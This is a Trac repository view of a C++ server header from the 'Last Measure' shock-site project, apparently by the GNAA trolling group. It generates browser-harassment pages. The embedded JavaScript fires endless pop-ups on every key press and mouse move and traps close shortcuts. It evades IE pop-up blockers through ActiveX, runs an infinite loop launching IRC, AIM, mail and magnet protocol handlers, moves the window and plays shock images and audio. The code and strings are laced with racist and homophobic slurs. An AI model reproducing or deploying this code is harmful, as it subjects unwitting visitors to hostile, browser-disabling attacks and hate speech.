source: trollforge/lastmeasure/server/lmresource.h @ 640

Revision 640, 24.2 KB checked in by sam, 17 months ago (diff)

Bind some popups to every key press, there is no reason not to.

  • Property svn:keywords set to Id
Line 
1/* XXX:
2 * `if_ie6 == true', should we use `showModelessDialog()'?
3 * `showModelessDialog()' was used in LastMeasure 3.4 to avoid Internet
4 *  Explorer's pop-up blockers. goat-see's comment remains, yet
5 *  `showModelessDialog()' is not used anywhere in the code.
6 */
7#include <string>
8#include <sstream>
9#include <fstream>
10#include <iostream>
11#include <streambuf>
12
13//#include "lmutil.h"
14
15#ifdef SOFT
16#   define IMAGES_PREFIX "/soft/"
17#else
18#   define IMAGES_PREFIX "/images/"
19#endif
20
21static char const *staticnames[] =
22{
23    /* Shock pictures */
24    "/images/awesome.jpg",    "/images/Pain4.jpg",
25    "/images/balloonboy.jpg", "/images/Pain5.jpg",
26    "/images/christmas.jpg",  "/images/Pain.jpg",
27    "/images/freak.jpg",      "/images/penisbird.gif",
28    "/images/harlequin1.jpg", "/images/pillowfight.jpg",
29    "/images/harlequin2.jpg", "/images/pooped.jpg",
30    "/images/harlequin3.jpg", "/images/rustina.jpg",
31    "/images/harlequin4.jpg", "/images/smile.jpg",
32    "/images/harlequin.jpg",  "/images/spin.gif",
33    "/images/hello.jpg",      "/images/stopracism.jpg",
34    "/images/hotblowjob.jpg", "/images/stretch.jpg",
35    "/images/kiss.jpg",       "/images/tubgirl.jpg",
36    "/images/lemonparty.jpg", "/images/Untitled.jpg",
37    "/images/loopback.jpg",   "/images/weightlifter.jpg",
38    "/images/Pain2.jpg",      "/images/zoidberg.jpg",
39    "/images/Pain3.jpg",      "/images/jar.jpg",
40    "/images/lunch.jpg",
41
42    /* Soft images */
43    "/soft/christmas.jpg",    "/soft/pillowfight.jpg",
44    "/soft/eww.jpg",          "/soft/pooped.jpg",
45    "/soft/freak.jpg",        "/soft/rustina.jpg",
46    "/soft/hello.jpg",        "/soft/spin.gif",
47    "/soft/lemonparty.jpg",   "/soft/tubgirl.jpg",
48    "/soft/loopback.jpg",     "/soft/weightlifter.jpg",
49    "/soft/ouch.jpg",
50
51    /* Static sound samples */
52    "/audio/abez2.wav",    "/audio/abez.wav",
53    "/audio/blackman.wav", "/audio/eska.wav",
54    "/audio/fury.wav",     "/audio/jesuitx1.wav",
55    "/audio/jesuitx2.wav", "/audio/jizzy.wav",
56    "/audio/kirk.wav",     "/audio/lolichan.wav",
57    "/audio/original.wav", "/audio/popeye.wav",
58    "/audio/rkz.wav",      "/audio/rucas.wav",
59    "/audio/sam.wav",      "/audio/trogg.wav",
60
61    /* <iframe> */
62    "/lm.pdf",
63    "/lm2.pdf",
64    "/jews.wmv",
65    "/gnaa.mp3",
66
67    /* Other static files */
68    "/flash/first_opener.swf",
69    "/flash/second_opener.swf",
70    "/flash/hello.swf",
71    "/flash/hey.swf",
72
73    "/LastCoffee.class",
74    "/gnaa.png",
75
76    "/favicon.ico",
77    "/robots.txt",
78
79    //"/index.php",
80};
81
82typedef std::pair<std::string,std::string> Response;
83
84class Resources
85{
86public:
87    static void LoadAll()
88    {
89        for (size_t i = 0; i < NSTATICS; i++)
90        {
91            /* Skip leading / when opening local files */
92            std::ifstream t(staticnames[i] + 1);
93            m_statics[i] = std::string((std::istreambuf_iterator<char>(t)),
94                                       std::istreambuf_iterator<char>());
95        }
96    }
97
98    static Response Get(char const *resource, char const *query,
99                        char const *host, char const *agent)
100    {
101        /* Special case for server status (TODO) */
102        if (!strcmp(resource, "/server-status")
103             || !strcmp(resource, "/server-status/"))
104        {
105            return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html");
106        }
107
108        /* Special case for static resources */
109        for (size_t i = 0; i < NSTATICS; i++)
110        {
111            if (!strcmp(resource, staticnames[i]))
112            {
113                return Response(m_statics[i], MimeType(resource));
114            }
115        }
116
117        /* Is this a pop-up? */
118        bool is_popup = (strstr(query, "popup=1") > 0);
119
120        char const *flash;
121
122        /* Is the browser IE 6 or better? */
123        char const *parser = strstr(agent, " MSIE ");
124        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6);
125
126        /* Sending stuff */
127        std::stringstream data("");
128
129        data <<
130
131    "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\""
132    "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n"
133    "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\r\n"
134
135    "  <head>\r\n"
136    "    <title>" << Random::Title() << "</title>\r\n"
137    "    <meta name=\"keywords\" content=\"" << Random::Keywords(128) << "\" />\r\n"
138    "    <meta name=\"description\" content=\"" << Random::Keywords(20) << "\" />\r\n"
139    "    <script type=\"text/javascript\">\r\n" << JavaScript(host) <<
140    "    </script>\r\n"
141    "    <link rel=\"icon\" type=\"image/x-icon\" "
142             "href=\"//" << host << "/favicon.ico\" />\r\n"
143    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" "
144             "href=\"//" << host << "/favicon.ico\" />\r\n"
145    "    <style type=\"text/css\">\r\n"
146    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n"
147    "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n"
148    "    </style>\r\n"
149    "  </head>\r\n"
150
151    "  <body style=\"background-image: url(//" << host
152          << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\""
153    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); ";
154        if (is_ie6)
155            data << "setTimeout('main()', 100); ";
156        if (!is_popup)
157            data << "print(); ";
158        data <<
159    "setTimeout('ruin()', 20);\"\r\n"
160    "        onmousemove=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n"
161    "        onkeydown=\"molish(); procreate();\"\r\n"
162    "        onunload=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n"
163    "        onmouseover=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\">\r\n";
164
165        data << MoveAround(800, 600, host);
166        data << ActivateApplets();
167        if (is_ie6) /* XXX: Do these things even work in the newer versions of IE? -- Leon */
168        {
169            data << PopupBypasser(host);
170            data << DivertOnload();
171        }
172
173        data <<
174
175    "<table>\r\n"
176    "    <tr>\r\n"
177    "        <td valign=\"middle\">\r\n"
178    "            <div style=\"text-align: center;\">\r\n"
179    "                <a href=\"http://www.gnaa.eu/\"><img src=\"//" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n"
180    "                <br />\r\n"
181    "                <br />\r\n";
182
183        if (!is_ie6)
184        {
185            flash = is_popup ? "second_opener.swf" : "first_opener.swf";
186            data <<
187
188        "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
189        "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n"
190        "    <param name=\"movie\" value=\"//" << host << "/flash/" << flash << "\" />\r\n"
191        "    <param name=\"quality\" value=\"high\" />\r\n"
192        "</object>\r\n";
193        }
194
195        data <<
196    "            </div>\r\n"
197    "        </td>\r\n"
198    "    </tr>\r\n"
199    "</table>\r\n";
200
201        if (!is_popup)
202        {
203            data <<
204// This object plays the "hey everybody, I'm looking at gay porno!" sound
205            "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
206            "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n"
207            "    <param name=\"movie\" value=\"//" << host << "/flash/hey.swf\" />\r\n"
208            "    <param name=\"quality\" value=\"high\" />\r\n"
209            "</object>\r\n"
210            "<script type=\"text/javascript\">\r\n"
211            "<!--\r\n"
212            "var audio = new Array();\r\n";
213
214            for (int i = FindAssetIndex("/audio/", -1), n = 0;
215                 i < (int)NSTATICS;
216                 i = FindAssetIndex("/audio/", i))
217            {
218                data << "    audio[" << n << "] = '//"
219                     << host << "" << staticnames[i] << "';\r\n";
220            }
221
222            data <<
223            "for (i = 0; i < audio.length; i++) {\r\n"
224            "    setTimeout('document.getElementById(\"audio\").innerHTML += \\'<embed src=\"' + audio[i] + '\" loop=\"true\" />\\';', 6000 * (i/2));\r\n"
225            "}\r\n"
226            "// -->\r\n"
227            "</script>\r\n"
228            "<div id=\"audio\">\r\n"
229            "</div>\r\n"
230            "<applet code=\"LastCoffee.class\" width=\"100\" height=\"100\" codebase=\"/\" />\r\n"
231            "</div>\r\n"
232            "<div>\r\n"
233            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm.pdf\"></iframe>\r\n"
234            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm2.pdf\"></iframe>\r\n"
235            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/jews.wmv\"></iframe>\r\n"
236            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/gnaa.mp3\"></iframe>\r\n"
237            "<div id=\"goatse\">yes hello</div>\r\n"
238            "<br />\r\n" << Random::Keywords(128) << "</div>\r\n";
239        }
240
241        data << "  </body>\r\n";
242
243        return Response(data.str(), "text/html");
244    }
245
246    static std::string JavaScript(char const *host)
247    {
248        std::stringstream ret("");
249
250        ret <<
251/*
252 * Let's figure out what the fuck kind of browser the poor plebes are using. :(
253 *  MSIE gets a special kind of Last Measure where I start off with a
254 *  `ModelessDialog' and pop up from it.
255 *  Gets around Google Toolbar.
256 *              -- goat-see
257 */
258 "var nom = navigator.appName.toLowerCase();\r\n"
259 "var agt = navigator.userAgent.toLowerCase();\r\n"
260 "var is_major  = parseInt(navigator.appVersion);\r\n"
261 "var is_minor  = parseFloat(navigator.appVersion);\r\n"
262 "var is_ie     = (agt.indexOf('msie') != -1);\r\n"
263 "var is_ie4up  = (is_ie && (is_major >= 4));\r\n"
264 "var is_nav    = (nom.indexOf('netscape')!=-1);\r\n"
265 "var is_nav4   = (is_nav && (is_major == 4));\r\n"
266 "var is_mac    = (agt.indexOf('mac')!=-1);\r\n"
267 "var is_gecko  = (agt.indexOf('gecko') != -1);\r\n"
268
269 //  GECKO REVISION
270 "var is_rev = 0;\r\n"
271
272 "if (is_gecko) {\r\n"
273 "    temp = agt.split('rv:');\r\n"
274 "    is_rev = parseFloat(temp[1]);\r\n"
275 "}\r\n"
276
277 "function bookmark() {\r\n"
278 "    if (is_ie4up) {\r\n"
279 "        window.external.AddFavorite(self.location.href, 'Wikipedia, the free encyclopedia');\r\n"
280 "    }\r\n"
281 "}\r\n"
282
283 "function molish() {\r\n"
284 "    var credits = "
285          "\"LAST MEASURE UNIFIED X-2, by LiteralKa and sam.\\n"
286          "Starring:\\n"
287          "Balloon Boy, Huge_Midget's 'Pain Series', Kevin Klerck (spin.gif), Kirk Johnson,\\n"
288          "Lemonparty, Loopback, Penisbird, Pillowfight, Rusty's Wife, The Harlequin Fetus,\\n"
289          "The Shitfaced Lady, Tubgirl, and much, much more!\\n"
290          "\\n\\n"
291          "Multiple 'HEY EVERYBODY...' clips by abez, blackman, eska, fury, JesuitX, JiZZy,\\n"
292          "kirk, lolichan, 'original', popeye, rkz, Rucas, sam, and trogg.\\n"
293          "\\n\\n"
294          "Pop-up blocker evasion technology by Armorfist, goat-see, and LiteralKa.\\n"
295          "hey.swf by rkz.\\n"
296          "IFRAMEd protocol ruin by incog and LiteralKa.\\n"
297          "LastCoffee by abez and Dessimat0r.\\n"
298          "lmserver by sam and LiteralKa.\\n"
299          "PDF Ruin by JacksonBrown and Jmax.\\n"
300          "Stats Measure by Jmax and timecop.\\n"
301          "\\n\\n"
302          "Updated by abortion, JacksonBrown, Rolloffle, timecop, weev, and others.\\n"
303          "Previous versions were lead by goat-see (pi), Jmax, Penisbird, Rucas, sam, and Zeikfried.\\n"
304          "Proudly brought to you by the Gay Nigger Association of America.\\n\";\r\n"
305
306 "    switch (event.keyCode) {\r\n"
307 "        case 17:\r\n"    // CTRL [Or the Apple "CMD", only detected by Opera]
308                           // NOTE: Opera Mac gives keyCode '0'
309 "        case 18:\r\n"    // ALT
310 "        case 46:\r\n"    // DEL
311 "        case 81:\r\n"    // W (As in "CTRL+W")
312 "        case 87:\r\n"    // Q (As in "CTRL+Q")
313 "        case 115:\r\n"   // F4
314 "        case 63272:\r\n" // DEL on the fucked-up Safari browser
315 "            alert(credits);\r\n"
316 "            break;\r\n"
317 "        default:\r\n" // Don't see why not everyone could get a warning
318 "            alert(\"Our lawyer has informed us that we need a warning. So, "
319                     "if you are under the age of 18 or find this offensive, "
320                     "please leave immediately.\");\r\n"
321 "            break;\r\n"
322 "    }\r\n"
323 "}\r\n"
324/* XXX Does click() even work? */
325 "function click() {\r\n"
326 "    if(event.which == 3 || event.button == 2) {\r\n"
327 "        return false;\r\n"
328 "    }\r\n"
329 "}\r\n"
330
331 "function procreate() {\r\n"
332 "    for(i = 0; i < 16; i++) {\r\n"
333 "        popUp(\"index.php?popup=1\");\r\n"
334 "    }\r\n"
335 "}\r\n"
336
337 "function popUp(URL) {\r\n"
338 "    day = new Date();\r\n"
339 "    id = day.getTime();\r\n"
340 "    eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n"
341 "}\r\n"
342
343 "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n"
344 "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n"
345 "goatseflash += \"    <param name='movie' value='//" << host << "/flash/hello.swf' />\";\r\n"
346 "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n"
347 "goatseflash += \"  </object>\";\r\n"
348 "goatseflash += \"</div>\";\r\n"
349
350 "function load_goatse() {\r\n"
351 "    document.body.innerHTML += goatseflash;\r\n"
352 "    setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s
353 "}\r\n"
354
355 "function unload_goatse() {\r\n"
356 "    document.getElementById(\"hello\").style.display = 'none';\r\n"
357 "}\r\n"
358
359 "function noframes() {\r\n"
360 "    if (top.location.hostname != location.hostname)\r\n"
361 "        top.location.href = window.location.href;\r\n"
362 "}\r\n"
363
364 "var protos = [\r\n"
365 "        \"irc://irc.gnaa.eu/gnaa\",\r\n"
366 "        \"irc://irc.freenode.net/freenode?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
367 //"        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
368 "        \"news:alt.flame.niggers\",\r\n"
369 "        \"news:alt.flame.faggots\",\r\n"
370 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
371 "        \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n"
372 "        \"rlogin://1.1.1.1:80\",\r\n"
373 "        \"telnet://1.1.1.1:80\",\r\n"
374 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
375 "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n"
376 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n"
377 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\",\r\n"
378 "        \"aim:goim?screenname=bluexox5&message=dont+fuck+with+the+GNAA\",\r\n"
379 "        \"magnet:?xt=urn:btih:4424ecbc11bf0238e36cf2412b248e0c2339c663&dn=Gayniggers.From.Outer.Space.Digitally.Remastered.XviD-NoGrp"
380 "&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.ccc.de:80\",\r\n"
381 "        ];\r\n"
382
383 "function add(str) {\r\n"
384 "    div = document.getElementById('goatse');\r\n"
385 "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n"
386 "}\r\n"
387
388 "function ruin() {\r\n"
389// "    document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n"
390 "    while (1) {\r\n"
391 "        for (i = 0; i < protos.length; i++) {\r\n"
392 "            add(protos[i]);\r\n"
393 "        }\r\n"
394 "    }\r\n"
395 "}\r\n";
396
397        return ret.str();
398    }
399
400    static char const *MimeType(char const *resource)
401    {
402        static char const *assoc[] =
403        {
404            ".png", "image/png",
405            ".jpg", "image/jpeg",
406            ".jpeg", "image/jpeg",
407            ".gif", "image/gif",
408            ".wav", "audio/x-wav",
409            ".mp3", "audio/mpeg",
410            ".swf", "application/x-shockwave-flash",
411            ".pdf", "application/pdf",
412            ".wmv", "video/x-ms-wmv",
413            ".class", "application/java-vm",
414            ".ico", "image/x-icon",
415            ".txt", "text/plain",
416            ".bmp", "image/bmp",
417        };
418
419        for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2)
420        {
421            char const *suffix = assoc[i], *test;
422            if ((test = strstr(resource, suffix)) && !test[strlen(suffix)])
423                return assoc[i + 1];
424        }
425
426        return "text/plain";
427    }
428
429    /* Pick a random asset starting with @prefix. For instance if @prefix
430     * is "/images/" we pick one at random and if it starts with "/images/"
431     * we return it. Otherwise, pick another one. Repeat 32 times. */
432    static std::string RandomAsset(char const *prefix)
433    {
434        size_t prefixlen = strlen(prefix);
435
436        for (int i = 0; i < 32; i++)
437        {
438            char const *name = staticnames[rand() % NSTATICS];
439            if (!strncmp(name, prefix, prefixlen))
440                return name;
441        }
442
443        return "/";
444    }
445
446    /* Find the asset index after @previous that matches @prefix. This can
447     * be used as an iterator. To get the first matching asset, use -1 as
448     * an argument. */
449    static int FindAssetIndex(char const *prefix, int previous)
450    {
451        if (previous < -1 || previous > (int)NSTATICS)
452            return NSTATICS;
453
454        size_t prefixlen = strlen(prefix);
455
456        while (++previous < (int)NSTATICS)
457        {
458            char const *name = staticnames[previous];
459            if (!strncmp(name, prefix, prefixlen))
460                break;
461        }
462
463        return previous;
464    }
465
466    static std::string MoveAround(size_t width, size_t height, char const *host)
467    {
468        std::stringstream ret("");
469
470        ret <<
471        "<script type=\"text/javascript\">\r\n"
472        "<!--\r\n"
473        "    var images = new Array();\r\n";
474
475        for (int i = FindAssetIndex(IMAGES_PREFIX, -1), n = 0;
476             i < (int)NSTATICS;
477             i = FindAssetIndex(IMAGES_PREFIX, i))
478        {
479            ret << "    images[" << n << "] = '//" << host << "" << staticnames[i] << "';\r\n";
480        }
481
482        ret <<
483        "var delay = 10;\r\n"
484        "var step = .2;\r\n"
485        "var curstep = 0;\r\n"
486
487        "window.resizeTo(" << width << ", " << height << ");\r\n"
488        "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n"
489        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n"
490        "movew0w();\r\n"
491
492        "function movew0w() {\r\n"
493        "    var j;\r\n"
494        "    for (j = 0; j < 5; j++) {\r\n"
495        "        curstep += step / 5;\r\n"
496        "        var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n"
497        "        var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n"
498       
499        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n"
500        "                    * (Math.sin(10+curstep/(10+j))+0.2)\r\n"
501        "                    * Math.cos((curstep + j*25)/10);\r\n"
502        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n"
503        "                       * (Math.sin(10+curstep/10)+0.2)\r\n"
504        "                       * Math.cos((curstep + j*25)/10);\r\n"
505        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n"
506        "    }\r\n"
507
508        "    document.body.background = images[(Math.floor(curstep) % images.length) + 1];\r\n"
509        "    setTimeout(\"movew0w()\", delay);\r\n"
510        "}\r\n"
511        "// -->\r\n"
512        "</script>\r\n";
513
514        return ret.str();
515    }
516
517    static std::string ActivateApplets()
518    {
519        std::stringstream ret("");
520
521        ret <<
522
523        "<div>\r\n"
524        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n"
525        "        <param name=\"ActivateApplets\" value=\"1\" />\r\n"
526        "        <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n"
527        "    </object>\r\n"
528        "</div>\r\n";
529
530        return ret.str();
531    }
532
533/*  This chunk bypasses pop-ups */
534    static std::string PopupBypasser(char const *host)
535    {
536        std::stringstream ret("");
537
538        ret <<
539
540        "<script type=\"text/javascript\">\r\n"
541        "<!--\r\n"
542        "    function shellscript() {\r\n"
543        "        for(i = 0; i < 5; i++) {\r\n"
544        "            open('//" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n"
545        "        }\r\n"
546        "    }\r\n"
547
548        "    function main() {\r\n"
549        "        x.DOM.Script.execScript(shellscript.toString());\r\n"
550        "        x.DOM.Script.setTimeout(\"shellscript()\");\r\n"
551        "        setTimeout(\"main()\", 200);\r\n"
552        "    }\r\n"
553        "// -->\r\n"
554        "</script>\r\n";
555
556        return ret.str();
557    }
558
559    static std::string DivertOnload()
560    {
561        std::stringstream ret("");
562
563        ret <<
564
565        "<script type=\"text/javascript\">\r\n"
566        "<!--\r\n"
567        "    var SymRealOnLoad;\r\n"
568        "    var SymRealOnUnload;\r\n"
569        "    var SymRealWinOpen;\r\n"
570
571        "    function SymOnUnload() {\r\n"
572        "        window.open = SymWinOpen;\r\n"
573        "        if(SymRealOnUnload != null)\r\n"
574        "            SymRealOnUnload();\r\n"
575        "    }\r\n"
576
577        "    function SymOnLoad() {\r\n"
578        "        if(SymRealOnLoad != null)\r\n"
579        "            SymRealOnLoad();\r\n"
580        "        window.open = SymRealWinOpen;\r\n"
581        "        SymRealOnUnload = window.onUnload;\r\n"
582        "        window.onUnload = SymOnUnload;\r\n"
583        "    }\r\n"
584
585        "    SymRealOnLoad = window.onLoad;\r\n"
586        "    window.onLoad = SymOnLoad;\r\n"
587        "// -->\r\n"
588        "</script>\r\n";
589
590        return ret.str();
591    }
592
593    static std::string PopUnder(char const *host)
594    {
595        std::stringstream ret("");
596
597        ret <<
598
599        "var rapeVictim = false;\r\n"
600
601        "function popunder(url) {\r\n"
602        "    if (rapeVictim === true) {\r\n"
603        "        return true;\r\n"
604        "    }\r\n"
605
606        "    var daWindow = window.open(url, \"ljPu\", \"toolbar,status,resizable,scrollbars,menubar,location,height=780,width=1024\");\r\n"
607        "    window.setTimeout(window.focus, 500);\r\n"
608
609        "    if (daWindow) {\r\n"
610        "        daWindow.blur();\r\n"
611        "        rapeVictim = true;\r\n"
612        "    }\r\n"
613
614        "    return daWindow;\r\n"
615        "}\r\n"
616
617        "function doPopUnder() {\r\n"
618        "    var win = popunder('//" << host << "/');\r\n"
619        "    return true;\r\n"
620        "}\r\n";
621
622        return ret.str();
623    }
624
625/* XXX: Does not work yet.
626 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page
627 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards
628 * 06:47:09 <incog> from ascii art goatse, to more LM urls
629 * 06:47:31 <incog> to a js that generates a random string so big it eats all the ram
630 */
631    static std::string Tynt()
632    {
633        static char const *prefix = "prefix";
634        static char const *suffix = "suffix";
635
636        std::stringstream ret("");
637
638        ret <<
639
640        "<script type=\"text/javascript\">\r\n"
641        "    if(document.location.protocol=='http:'){\r\n"
642        "        var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n"
643        "        (function(){\r\n"
644        "            var s=document.createElement('script');s.async=\"async\";s.type=\"text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n"
645        "            var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n"
646        "    }\r\n"
647        "</script>\r\n";
648
649/*
650        "<script type=\"text/javascript\">\r\n"
651        "    tyntVariables = {\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\"};\r\n"
652        "</script>\r\n"
653
654        "<script type=\"text/javascript\" src=\"http://tcr.tynt.com/javascripts/Tracer.js?user=aDjyve6yar3BZFab7jrHcU&amp;s=1&amp;st=1&amp;lang=en\"></script>\r\n";
655*/
656
657        return ret.str();
658    }
659
660private:
661    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames);
662    static std::string m_statics[NSTATICS];
663};
664
665std::string Resources::m_statics[NSTATICS];
666
Note: See TracBrowser for help on using the repository browser.